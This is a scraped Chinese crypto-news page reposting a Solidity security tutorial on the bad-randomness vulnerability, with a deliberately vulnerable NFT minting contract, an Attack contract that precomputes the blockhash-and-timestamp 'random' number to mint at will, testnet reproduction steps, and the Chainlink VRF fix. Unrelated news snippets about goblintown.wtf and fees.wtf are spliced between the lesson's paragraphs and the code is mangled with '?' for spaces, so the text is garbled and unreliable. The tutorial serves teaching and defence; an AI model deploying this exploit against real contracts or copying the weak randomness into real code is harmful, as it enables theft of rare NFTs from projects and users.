宇宙链 宇宙链
Ctrl+D收藏宇宙链

WTF Solidity 合约安全: S07. 坏随机数

作者:

时间:1900/1/1 0:00:00

我最近在重新学solidity,巩固一下细节,也写一个“WTFSolidity极简入门”,供小白们使用,每周更新1-3讲。

这一讲,我们将介绍智能合约的坏随机数漏洞和预防方法,这个漏洞经常在NFT和GameFi中出现,包括Meebits,Loots,WolfGame等。

伪随机数

很多以太坊上的应用都需要用到随机数,例如NFT随机抽取tokenId、抽盲盒、gamefi战斗中随机分胜负等等。但是由于以太坊上所有数据都是公开透明且确定性的,它没有其他编程语言一样给开发者提供生成随机数的方法,例如random()。很多项目方不得不使用链上的伪随机数生成方法,例如blockhash()和keccak256()方法。

坏随机数漏洞:攻击者可以事先计算这些伪随机数的结果,从而达到他们想要的目的,例如铸造任何他们想要的稀有NFT而非随机抽取。更多的内容可以阅读WTFSolidity极简教程第39讲:伪随机数。

goblintown.wtf系列NFT24小时交易额为102.41万美元:金色财经消息,据NFTGo.io数据显示,goblintown.wtf系列NFT总市值达6238万美元,在所有NFT项目总市值排名中位列第39;其24小时交易额为102.41万美元,跌幅达9.35%。截止发稿时,该系列NFT当前地板价为3.15ETH,跌幅为26.01%。[2022/6/12 4:19:11]

坏随机数案例

下面我们学习一个有坏随机数漏洞的NFT合约:BadRandomness.sol。

goblintown.wtf NFT系列地板价突破8ETH,24小时交易额排名达到第一:金色财经消息,据OpenSea数据显示,goblintown.wtf NFT系列地板价突破8ETH,目前为8.2ETH,24小时的交易额为4997.18ETH,24小时交易额在OpenSea排名达到第一。[2022/6/2 3:58:03]

contract?BadRandomness?is?ERC721?{????uint256?totalSupply;????//?构造函数,初始化NFT合集的名称、代号????constructor()?ERC721("",?""){}????//?铸造函数:当输入的?luckyNumber?等于随机数时才能mint????function?luckyMint(uint256?luckyNumber)?external?{????????uint256?randomNumber?=?uint256(keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp)))?%?100;?//?get?bad?random?number????????require(randomNumber?==?luckyNumber,?"Better?luck?next?time!");????????_mint(msg.sender,?totalSupply);?//?mint????????totalSupply++;????}}

fees.wtf回应低流动性:团队正在逐步增加流动性以防止机器人抢跑:1月14日消息,Gas 使用统计查询网站 fees.wtf 在 Discord 社群中回应关于流动性不足的问题,并表示其在发布前提到将在发布不久之后添加流动性,但并未说明具体数量。是因为团队不希望机器人抢先运行,并提走全部原有流动性。因此导致市场上发生了一场机器人对机器人的斗争:

由于初始发布时的流动性很低,有机器人将 100 ETH 投入一个仅有 1 到 2 个 ETH 的流动性池中。设置很高的滑点,最终被其他机器人耗尽了全部的 ETH,是一个高滑点、低流动性的案例。

fees.wtf 团队希望用户没有受到影响,一起仍按原计划进行,团队正在增加流动性。[2022/1/14 8:48:44]

它有一个主要的铸造函数luckyMint(),用户调用时输入一个0-99的数字,如果和链上生成的伪随机数randomNumber相等,即可铸造幸运NFT。伪随机数使用blockhash和block.timestamp声称。这个漏洞在于用户可以完美预测生成的随机数并铸造NFT。

fees.wtf已开放Discord频道并将24小时内公布空投合约地址:1月12日消息,Gas使用统计查询网站fees.wtf在其社交网站公布 Discord 频道,并宣布将于24小时内公布空投相关合约地址。

fees.wtf 曾于1月4日宣布将发行 Token 空投,合约在激活前将会有倒计时以确保公平。[2022/1/12 8:43:35]

下面我们写个攻击合约Attack.sol。

contract?Attack?{????function?attackMint(BadRandomness?nftAddr)?external?{????????//?提前计算随机数????????uint256?luckyNumber?=?uint256(????????????keccak256(abi.encodePacked(blockhash(block.number?-?1),?block.timestamp))????????)?%?100;????????//?利用?luckyNumber?攻击????????nftAddr.luckyMint(luckyNumber);????}}

攻击函数attackMint()中的参数为BadRandomness合约地址。在其中,我们计算了随机数luckyNumber,然后将它作为参数输入到luckyMint()函数完成攻击。由于attackMint()和luckyMint()将在同一个区块中调用,blockhash和block.timestamp是相同的,利用他们生成的随机数也相同。

Remix复现

由于Remix自带的RemixVM不支持blockhash函数,因此你需要将合约部署到以太坊测试链上进行复现。

部署BadRandomness合约。

部署Attack合约。

将BadRandomness合约地址作为参数传入到Attack合约的attackMint()函数并调用,完成攻击。

调用BadRandomness合约的balanceOf查看Attack合约NFT余额,确认攻击成功。

预防方法

我们通常使用预言机项目提供的链下随机数来预防这类漏洞,例如ChainlinkVRF。这类随机数从链下生成,然后上传到链上,从而保证随机数不可预测。更多介绍可以阅读WTFSolidity极简教程第39讲:伪随机数。

总结

这一讲我们介绍了坏随机数漏洞,并介绍了一个简单的预防方法:使用预言机项目提供的链下随机数。NFT和GameFi项目方应避免使用链上伪随机数进行抽奖,以防被黑客利用。

推特:@0xAA_Science|@WTFAcademy_

社区:Discord|微信群|官网wtf.academy

所有代码和教程开源在github:?github.com/AmazingAng/WTFSolidity

来源:bress

标签:INTNFTWTFUMBMintoBNFTwtf币怎么挖BUMBA币

芝麻开门交易所下载热门资讯
重新思考DeFi代币经济学 理想的代币模式是什么?

作者:WillComyns代币必须开始提供收入份额以及治理。 代币是一种收益权 现代代币设计的基础工具可以追溯到减少实用代币速度的目标.

1900/1/1 0:00:00
应对未来的5个关键点

作者:/img/20230515170108571852/0.jpg "/>2020-2022年期间区块链行业发生了极快的变化,从2019年-2020年上半年初几乎觉得没有什么有意思的一级项目与新创意.

1900/1/1 0:00:00
以太坊L2明星扩容方案zkSync2.0全解析

作者:DanielLi 长期以来围绕着以太坊将如何扩展,以及哪种方式或技术将最成功,在区块链行业一直争论不休,经过四年的准备,zkSync2.0的推出或将终结这一纷争,zkSync也是第一个推出主网的zkEVM.

1900/1/1 0:00:00
Web3虚拟偶像运营方式 能否带来更多经济价值?

本文转自微信公号:老雅痞在今年六月份,大张伟的音乐短片《满怀可爱所向披靡》中,有一只小斑马正式出道。短片里,大张伟在平行宇宙和虚拟IP“biubiu小斑马”相遇,在魔法城堡结识了一批热爱唱跳的小伙伴,正式开启了他的元宇宙之旅.

1900/1/1 0:00:00
解读MOOAR:StepN新NFT市场的独特卖点

原文标题:ABriefHistoryofNFTMarketplaces?原文编译:Leo,BlockBeats NFT市场行业是一个竞争激烈的行业.

1900/1/1 0:00:00
若FTX最终倒下 债权人如何拿回资产

过去几天,加密市场的风暴中心毫无疑问是FTX?事件。11月8日凌晨,Binance创始人赵长鹏发文称,「币安拟完全收购FTX」.

1900/1/1 0:00:00